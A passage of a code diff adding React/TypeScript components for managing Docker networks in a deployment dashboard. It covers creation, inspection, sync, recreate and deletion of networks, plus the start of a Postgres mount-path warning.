|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
<div className="space-y-4 rounded-lg border p-4">
|
||||
<div className="space-y-1">
|
||||
<FormLabel>IPAM</FormLabel>
|
||||
<p className="text-sm text-muted-foreground">
|
||||
IP address management settings for this network.
|
||||
</p>
|
||||
</div>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="ipamDriver"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel className="text-muted-foreground">
|
||||
Driver (optional)
|
||||
</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} placeholder="default" />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="space-y-2">
|
||||
<FormLabel className="text-muted-foreground">
|
||||
Config (subnet / gateway / IP range)
|
||||
</FormLabel>
|
||||
{ipamConfigFieldArray.fields.map((field, index) => (
|
||||
<div key={field.id} className="flex flex-wrap gap-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name={`ipamConfig.${index}.subnet`}
|
||||
render={({ field: f }) => (
|
||||
<FormItem className="min-w-[140px] flex-1">
|
||||
<FormControl>
|
||||
<Input
|
||||
{...f}
|
||||
placeholder="Subnet (e.g. 172.20.0.0/16)"
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name={`ipamConfig.${index}.ipRange`}
|
||||
render={({ field: f }) => (
|
||||
<FormItem className="min-w-[120px] flex-1">
|
||||
<FormControl>
|
||||
<Input {...f} placeholder="IP range" />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name={`ipamConfig.${index}.gateway`}
|
||||
render={({ field: f }) => (
|
||||
<FormItem className="min-w-[120px] flex-1">
|
||||
<FormControl>
|
||||
<Input {...f} placeholder="Gateway" />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
size="icon"
|
||||
aria-label="Remove IPAM config"
|
||||
onClick={() => ipamConfigFieldArray.remove(index)}
|
||||
>
|
||||
<Trash2 className="size-4" />
|
||||
</Button>
|
||||
</div>
|
||||
))}
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() =>
|
||||
ipamConfigFieldArray.append({
|
||||
subnet: "",
|
||||
ipRange: "",
|
||||
gateway: "",
|
||||
})
|
||||
}
|
||||
>
|
||||
<Plus className="size-4" />
|
||||
Add IPAM config
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
<DialogFooter>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
onClick={() => setIsOpen(false)}
|
||||
>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button type="submit" isLoading={isPending}>
|
||||
Create network
|
||||
</Button>
|
||||
</DialogFooter>
|
||||
</form>
|
||||
</Form>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,69 @@
|
||||
"use client";
|
||||
|
||||
import { Eye, Loader2 } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
interface Props {
|
||||
networkId: string;
|
||||
networkName: string;
|
||||
}
|
||||
|
||||
export const ShowNetworkConfig = ({ networkId, networkName }: Props) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const { data, isLoading, error } = api.network.inspect.useQuery(
|
||||
{ networkId },
|
||||
{ enabled: open },
|
||||
);
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="ghost" size="icon-sm" aria-label="View network config">
|
||||
<Eye className="size-4" />
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Network Config</DialogTitle>
|
||||
<DialogDescription>
|
||||
docker network inspect output for "{networkName}"
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
{error ? (
|
||||
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||
) : isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : (
|
||||
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
|
||||
<code>
|
||||
<pre className="whitespace-pre-wrap wrap-break-word">
|
||||
<CodeEditor
|
||||
language="json"
|
||||
lineWrapping
|
||||
lineNumbers={false}
|
||||
readOnly
|
||||
value={JSON.stringify(data, null, 2)}
|
||||
/>
|
||||
</pre>
|
||||
</code>
|
||||
</div>
|
||||
)}
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,494 @@
|
||||
"use client";
|
||||
|
||||
import {
|
||||
type ColumnDef,
|
||||
flexRender,
|
||||
getCoreRowModel,
|
||||
getPaginationRowModel,
|
||||
getSortedRowModel,
|
||||
type PaginationState,
|
||||
type SortingState,
|
||||
useReactTable,
|
||||
} from "@tanstack/react-table";
|
||||
import type { inferRouterOutputs } from "@trpc/server";
|
||||
import {
|
||||
ArrowUpDown,
|
||||
Loader2,
|
||||
Network,
|
||||
RotateCcw,
|
||||
ShieldCheck,
|
||||
Trash2,
|
||||
} from "lucide-react";
|
||||
import { useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { HandleNetwork } from "@/components/dashboard/networks/handle-network";
|
||||
import { ShowNetworkConfig } from "@/components/dashboard/networks/show-network-config";
|
||||
import { SyncNetworks } from "@/components/dashboard/networks/sync-networks";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardAction,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import type { AppRouter } from "@/server/api/root";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
type NetworkRow = inferRouterOutputs<AppRouter>["network"]["all"][number];
|
||||
|
||||
interface Props {
|
||||
/** Selected server; undefined shows the local Dokploy server */
|
||||
serverId?: string;
|
||||
}
|
||||
|
||||
const getIpamEntries = (row: NetworkRow) =>
|
||||
(row.ipam?.config ?? []).filter((c) => c.subnet || c.gateway || c.ipRange);
|
||||
|
||||
const SortableHeader = ({
|
||||
column,
|
||||
title,
|
||||
}: {
|
||||
column: {
|
||||
getIsSorted: () => false | "asc" | "desc";
|
||||
toggleSorting: (asc: boolean) => void;
|
||||
};
|
||||
title: string;
|
||||
}) => (
|
||||
<Button
|
||||
variant="ghost"
|
||||
className="-ml-3 h-8"
|
||||
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||
>
|
||||
{title}
|
||||
<ArrowUpDown className="ml-2 size-4" />
|
||||
</Button>
|
||||
);
|
||||
|
||||
export const ShowNetworks = ({ serverId }: Props) => {
|
||||
const utils = api.useUtils();
|
||||
const [verified, setVerified] = useState(false);
|
||||
const [sorting, setSorting] = useState<SortingState>([
|
||||
{ id: "createdAt", desc: true },
|
||||
]);
|
||||
const [globalFilter, setGlobalFilter] = useState("");
|
||||
const [driverFilter, setDriverFilter] = useState<string>("all");
|
||||
const [pagination, setPagination] = useState<PaginationState>({
|
||||
pageIndex: 0,
|
||||
pageSize: 10,
|
||||
});
|
||||
|
||||
const { data: networks, isLoading } = api.network.all.useQuery({ serverId });
|
||||
const { mutateAsync: removeNetwork } = api.network.remove.useMutation();
|
||||
const recreateMutation = api.network.recreate.useMutation();
|
||||
|
||||
// Same query the Sync dialog uses; "missing" tells us which records
|
||||
// no longer have a real network in Docker
|
||||
const {
|
||||
data: syncStatus,
|
||||
isFetching: isVerifying,
|
||||
refetch: refetchVerify,
|
||||
} = api.network.networksToSync.useQuery({ serverId }, { enabled: verified });
|
||||
|
||||
const missingIds = useMemo(
|
||||
() => new Set(syncStatus?.missing.map((m) => m.networkId) ?? []),
|
||||
[syncStatus],
|
||||
);
|
||||
|
||||
const onVerify = async () => {
|
||||
setVerified(true);
|
||||
const { data: result, error } = await refetchVerify();
|
||||
if (error) {
|
||||
toast.error("Error verifying networks", {
|
||||
description: error.message,
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (!result) return;
|
||||
if (result.missing.length === 0) {
|
||||
toast.success("All networks exist in Docker");
|
||||
} else {
|
||||
toast.warning(
|
||||
`${result.missing.length} network(s) no longer exist in Docker`,
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
const filteredData = useMemo(() => {
|
||||
let list = networks ?? [];
|
||||
if (driverFilter !== "all") {
|
||||
list = list.filter((n) => n.driver === driverFilter);
|
||||
}
|
||||
if (globalFilter.trim()) {
|
||||
const query = globalFilter.toLowerCase();
|
||||
list = list.filter(
|
||||
(n) =>
|
||||
n.name.toLowerCase().includes(query) ||
|
||||
(n.ipam?.config ?? []).some(
|
||||
(c) =>
|
||||
c.subnet?.toLowerCase().includes(query) ||
|
||||
c.gateway?.toLowerCase().includes(query) ||
|
||||
c.ipRange?.toLowerCase().includes(query),
|
||||
),
|
||||
);
|
||||
}
|
||||
return list;
|
||||
}, [networks, driverFilter, globalFilter]);
|
||||
|
||||
const columns = useMemo<ColumnDef<NetworkRow>[]>(
|
||||
() => [
|
||||
{
|
||||
accessorKey: "name",
|
||||
header: ({ column }) => <SortableHeader column={column} title="Name" />,
|
||||
cell: ({ row }) => (
|
||||
<div className="flex items-center gap-2 font-medium">
|
||||
{row.original.name}
|
||||
{verified &&
|
||||
syncStatus &&
|
||||
(missingIds.has(row.original.networkId) ? (
|
||||
<>
|
||||
<Badge variant="red">Missing in Docker</Badge>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="xs"
|
||||
isLoading={recreateMutation.isPending}
|
||||
onClick={async () => {
|
||||
try {
|
||||
await recreateMutation.mutateAsync({
|
||||
networkId: row.original.networkId,
|
||||
});
|
||||
toast.success(
|
||||
`Network "${row.original.name}" recreated in Docker`,
|
||||
);
|
||||
await utils.network.networksToSync.invalidate();
|
||||
} catch (error) {
|
||||
toast.error("Error recreating network", {
|
||||
description:
|
||||
error instanceof Error
|
||||
? error.message
|
||||
: "Unknown error",
|
||||
});
|
||||
}
|
||||
}}
|
||||
>
|
||||
<RotateCcw className="size-3.5" />
|
||||
Recreate
|
||||
</Button>
|
||||
</>
|
||||
) : (
|
||||
<Badge variant="green">In sync</Badge>
|
||||
))}
|
||||
</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "driver",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Driver" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<div className="flex items-center gap-2">
|
||||
<Badge variant="outline">{row.original.driver}</Badge>
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{row.original.driver === "overlay" ? "swarm" : "local"}
|
||||
</span>
|
||||
</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "subnet",
|
||||
accessorFn: (row) => getIpamEntries(row)[0]?.subnet ?? "",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Subnet" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const ipamEntries = getIpamEntries(row.original);
|
||||
if (ipamEntries.length === 0) {
|
||||
return <span className="text-muted-foreground">Auto</span>;
|
||||
}
|
||||
return (
|
||||
<div className="flex flex-col gap-1">
|
||||
{ipamEntries.map((c, index) => (
|
||||
<div
|
||||
key={`${row.original.networkId}-ipam-${index}`}
|
||||
className="flex flex-col"
|
||||
>
|
||||
<span>{c.subnet ?? "—"}</span>
|
||||
{(c.gateway || c.ipRange) && (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{[
|
||||
c.gateway && `gw ${c.gateway}`,
|
||||
c.ipRange && `range ${c.ipRange}`,
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(" · ")}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
},
|
||||
},
|
||||
{
|
||||
accessorKey: "internal",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Internal" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground">
|
||||
{row.original.internal ? "Yes" : "No"}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "attachable",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Attachable" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground">
|
||||
{row.original.attachable ? "Yes" : "No"}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "createdAt",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Created" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground whitespace-nowrap">
|
||||
{new Date(row.original.createdAt).toLocaleDateString()}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "actions",
|
||||
enableSorting: false,
|
||||
header: () => <div className="text-right">Actions</div>,
|
||||
cell: ({ row }) => (
|
||||
<div className="flex items-center justify-end gap-3">
|
||||
<ShowNetworkConfig
|
||||
networkId={row.original.networkId}
|
||||
networkName={row.original.name}
|
||||
/>
|
||||
<DialogAction
|
||||
title="Delete network"
|
||||
description={`The network "${row.original.name}" will be removed from Docker and Dokploy. This action cannot be undone.`}
|
||||
onClick={async () => {
|
||||
try {
|
||||
await removeNetwork({
|
||||
networkId: row.original.networkId,
|
||||
});
|
||||
toast.success("Network deleted");
|
||||
await utils.network.all.invalidate();
|
||||
await utils.network.networksToSync.invalidate();
|
||||
} catch (error) {
|
||||
toast.error("Error deleting network", {
|
||||
description:
|
||||
error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
}}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
aria-label="Delete network"
|
||||
>
|
||||
<Trash2 className="size-4 text-destructive" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
),
|
||||
},
|
||||
],
|
||||
[verified, syncStatus, missingIds, removeNetwork, recreateMutation, utils],
|
||||
);
|
||||
|
||||
const table = useReactTable({
|
||||
data: filteredData,
|
||||
columns,
|
||||
state: {
|
||||
sorting,
|
||||
pagination,
|
||||
},
|
||||
onSortingChange: setSorting,
|
||||
onPaginationChange: setPagination,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
getSortedRowModel: getSortedRowModel(),
|
||||
getPaginationRowModel: getPaginationRowModel(),
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||
<div className="rounded-xl bg-background shadow-md ">
|
||||
<CardHeader className="">
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<Network className="size-6 text-muted-foreground self-center" />
|
||||
Networks
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Manage the Docker networks of the selected server.
|
||||
</CardDescription>
|
||||
<CardAction className="self-center">
|
||||
<div className="flex items-center gap-2">
|
||||
{networks && networks.length > 0 && (
|
||||
<Button
|
||||
variant="outline"
|
||||
isLoading={isVerifying}
|
||||
onClick={onVerify}
|
||||
>
|
||||
<ShieldCheck className="size-4" />
|
||||
Verify
|
||||
</Button>
|
||||
)}
|
||||
<SyncNetworks serverId={serverId} />
|
||||
{networks && networks.length > 0 && (
|
||||
<HandleNetwork serverId={serverId} />
|
||||
)}
|
||||
</div>
|
||||
</CardAction>
|
||||
</CardHeader>
|
||||
|
||||
<CardContent className="space-y-4 py-8 border-t">
|
||||
{isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : !networks?.length ? (
|
||||
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||
<div className="rounded-full bg-muted p-4">
|
||||
<Network className="size-10 text-muted-foreground" />
|
||||
</div>
|
||||
<div className="space-y-1 text-center">
|
||||
<p className="text-sm font-medium">No networks yet</p>
|
||||
<p className="max-w-sm text-sm text-muted-foreground">
|
||||
Create Docker networks for your organization and optionally
|
||||
attach them to a server. Add your first network to get
|
||||
started.
|
||||
</p>
|
||||
</div>
|
||||
<HandleNetwork serverId={serverId} />
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<Input
|
||||
placeholder="Search by name, subnet, gateway..."
|
||||
value={globalFilter}
|
||||
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||
className="max-w-xs"
|
||||
/>
|
||||
<Select value={driverFilter} onValueChange={setDriverFilter}>
|
||||
<SelectTrigger className="w-[150px]">
|
||||
<SelectValue placeholder="Driver" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All drivers</SelectItem>
|
||||
<SelectItem value="bridge">bridge</SelectItem>
|
||||
<SelectItem value="overlay">overlay</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
<div className="rounded-md border overflow-x-auto">
|
||||
<Table>
|
||||
<TableHeader>
|
||||
{table.getHeaderGroups().map((headerGroup) => (
|
||||
<TableRow key={headerGroup.id}>
|
||||
{headerGroup.headers.map((header) => (
|
||||
<TableHead key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext(),
|
||||
)}
|
||||
</TableHead>
|
||||
))}
|
||||
</TableRow>
|
||||
))}
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{table.getRowModel().rows?.length ? (
|
||||
table.getRowModel().rows.map((row) => (
|
||||
<TableRow key={row.id}>
|
||||
{row.getVisibleCells().map((cell) => (
|
||||
<TableCell key={cell.id}>
|
||||
{flexRender(
|
||||
cell.column.columnDef.cell,
|
||||
cell.getContext(),
|
||||
)}
|
||||
</TableCell>
|
||||
))}
|
||||
</TableRow>
|
||||
))
|
||||
) : (
|
||||
<TableRow>
|
||||
<TableCell
|
||||
colSpan={columns.length}
|
||||
className="h-24 text-center text-muted-foreground"
|
||||
>
|
||||
No networks match your filters.
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
)}
|
||||
</TableBody>
|
||||
</Table>
|
||||
</div>
|
||||
{table.getPageCount() > 1 && (
|
||||
<div className="flex items-center justify-end gap-4">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||
{table.getPageCount()}
|
||||
</span>
|
||||
<div className="flex gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.previousPage()}
|
||||
disabled={!table.getCanPreviousPage()}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.nextPage()}
|
||||
disabled={!table.getCanNextPage()}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,249 @@
|
||||
"use client";
|
||||
|
||||
import { Loader2, RefreshCw, RotateCcw, Trash2 } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { Separator } from "@/components/ui/separator";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
interface Props {
|
||||
serverId?: string;
|
||||
}
|
||||
|
||||
export const SyncNetworks = ({ serverId }: Props) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [selected, setSelected] = useState<Set<string>>(new Set());
|
||||
const utils = api.useUtils();
|
||||
|
||||
const { data, isLoading, error, refetch } =
|
||||
api.network.networksToSync.useQuery({ serverId }, { enabled: open });
|
||||
|
||||
const importMutation = api.network.import.useMutation();
|
||||
const removeMutation = api.network.remove.useMutation();
|
||||
const recreateMutation = api.network.recreate.useMutation();
|
||||
|
||||
const toggleSelected = (name: string) => {
|
||||
setSelected((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (next.has(name)) {
|
||||
next.delete(name);
|
||||
} else {
|
||||
next.add(name);
|
||||
}
|
||||
return next;
|
||||
});
|
||||
};
|
||||
|
||||
const onImport = async () => {
|
||||
try {
|
||||
const result = await importMutation.mutateAsync({
|
||||
serverId,
|
||||
names: Array.from(selected),
|
||||
});
|
||||
|
||||
if (result.imported.length > 0) {
|
||||
toast.success(`Imported ${result.imported.length} network(s)`);
|
||||
}
|
||||
for (const failure of result.errors) {
|
||||
toast.error(`Could not import "${failure.name}"`, {
|
||||
description: failure.error,
|
||||
});
|
||||
}
|
||||
|
||||
setSelected(new Set());
|
||||
await utils.network.all.invalidate();
|
||||
|
||||
setOpen(false);
|
||||
await refetch();
|
||||
} catch (error) {
|
||||
toast.error("Error importing networks", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
const onRemoveStale = async (networkId: string, name: string) => {
|
||||
try {
|
||||
await removeMutation.mutateAsync({ networkId });
|
||||
toast.success(`Removed stale record "${name}"`);
|
||||
await utils.network.all.invalidate();
|
||||
await refetch();
|
||||
} catch (error) {
|
||||
toast.error("Error removing record", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
const onRecreate = async (networkId: string, name: string) => {
|
||||
try {
|
||||
await recreateMutation.mutateAsync({ networkId });
|
||||
toast.success(`Network "${name}" recreated in Docker`);
|
||||
await utils.network.all.invalidate();
|
||||
await utils.network.networksToSync.invalidate();
|
||||
await refetch();
|
||||
} catch (error) {
|
||||
toast.error("Error recreating network", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog
|
||||
open={open}
|
||||
onOpenChange={(value) => {
|
||||
setOpen(value);
|
||||
if (!value) setSelected(new Set());
|
||||
}}
|
||||
>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="outline">
|
||||
<RefreshCw className="size-4" />
|
||||
Sync
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-xl max-h-[90vh] overflow-y-auto">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="flex items-center gap-2">
|
||||
<RefreshCw className="size-5 text-muted-foreground" />
|
||||
Sync networks
|
||||
</DialogTitle>
|
||||
<DialogDescription>
|
||||
Import networks that exist in Docker but not in Dokploy, and clean
|
||||
up records whose network no longer exists.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
{error ? (
|
||||
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||
) : isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||
<span>Scanning Docker networks...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col gap-4">
|
||||
<div className="flex flex-col gap-2">
|
||||
<span className="text-sm font-medium">
|
||||
Found in Docker ({data?.importable.length ?? 0})
|
||||
</span>
|
||||
{data?.importable.length ? (
|
||||
data.importable.map((dockerNetwork) => (
|
||||
<label
|
||||
key={dockerNetwork.name}
|
||||
htmlFor={`import-network-${dockerNetwork.name}`}
|
||||
className="flex cursor-pointer items-center justify-between gap-3 rounded-lg border p-3"
|
||||
>
|
||||
<div className="flex items-center gap-3">
|
||||
<Checkbox
|
||||
id={`import-network-${dockerNetwork.name}`}
|
||||
checked={selected.has(dockerNetwork.name)}
|
||||
onCheckedChange={() =>
|
||||
toggleSelected(dockerNetwork.name)
|
||||
}
|
||||
/>
|
||||
<div className="flex flex-col">
|
||||
<span className="text-sm font-medium">
|
||||
{dockerNetwork.name}
|
||||
</span>
|
||||
{dockerNetwork.subnets.length > 0 && (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{dockerNetwork.subnets.join(" · ")}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<Badge variant="outline">{dockerNetwork.driver}</Badge>
|
||||
</label>
|
||||
))
|
||||
) : (
|
||||
<span className="text-sm text-muted-foreground">
|
||||
Nothing to import — everything is in sync.
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!!data?.missing.length && (
|
||||
<>
|
||||
<Separator />
|
||||
<div className="flex flex-col gap-2">
|
||||
<span className="text-sm font-medium">
|
||||
Missing in Docker ({data.missing.length})
|
||||
</span>
|
||||
<span className="text-xs text-muted-foreground">
|
||||
These records exist in Dokploy but their network is gone
|
||||
from Docker.
|
||||
</span>
|
||||
{data.missing.map((stale) => (
|
||||
<div
|
||||
key={stale.networkId}
|
||||
className="flex items-center justify-between gap-3 rounded-lg border border-dashed p-3"
|
||||
>
|
||||
<span className="text-sm">{stale.name}</span>
|
||||
<div className="flex items-center gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="xs"
|
||||
isLoading={recreateMutation.isPending}
|
||||
onClick={() =>
|
||||
onRecreate(stale.networkId, stale.name)
|
||||
}
|
||||
>
|
||||
<RotateCcw className="size-3.5" />
|
||||
Recreate
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
aria-label={`Remove stale record ${stale.name}`}
|
||||
isLoading={removeMutation.isPending}
|
||||
onClick={() =>
|
||||
onRemoveStale(stale.networkId, stale.name)
|
||||
}
|
||||
>
|
||||
<Trash2 className="size-4 text-destructive" />
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<DialogFooter>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
onClick={() => setOpen(false)}
|
||||
>
|
||||
Close
|
||||
</Button>
|
||||
<Button
|
||||
type="button"
|
||||
disabled={selected.size === 0}
|
||||
isLoading={importMutation.isPending}
|
||||
onClick={onImport}
|
||||
>
|
||||
Import selected ({selected.size})
|
||||
</Button>
|
||||
</DialogFooter>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -4,6 +4,7 @@ import { useEffect } from "react";
|
||||
import { useFieldArray, useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||
import {
|
||||
@@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
|
||||
import { api } from "@/utils/api";
|
||||
import type { ServiceType } from "../../application/advanced/show-resources";
|
||||
|
||||
const getPostgresMountPath = (dockerImage: string): string => {
|
||||
const versionMatch = dockerImage.match(/postgres:(\d+)/);
|
||||
if (versionMatch?.[1]) {
|
||||
const version = Number.parseInt(versionMatch[1], 10);
|
||||
if (version >= 18) {
|
||||
return `/var/lib/postgresql/${version}/docker`;
|
||||
}
|
||||
}
|
||||
return "/var/lib/postgresql/data";
|
||||
};
|
||||
|
||||
const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
|
||||
|
||||
const addDockerImage = z.object({
|
||||
dockerImage: z.string().min(1, "Docker image is required"),
|
||||
command: z.string(),
|
||||
@@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
|
||||
}
|
||||
}, [data, form]);
|
||||
|
||||
const dockerImage = form.watch("dockerImage");
|
||||
|
||||
const mountPathWarning = (() => {
|
||||
if (type !== "postgres" || !dockerImage) return null;
|
||||
const mounts = data && "mounts" in data ? data.mounts : [];
|
||||
const dataMounts = mounts.filter(
|
||||
(mount) =>
|
||||
mount.type === "volume" &&
|
||||
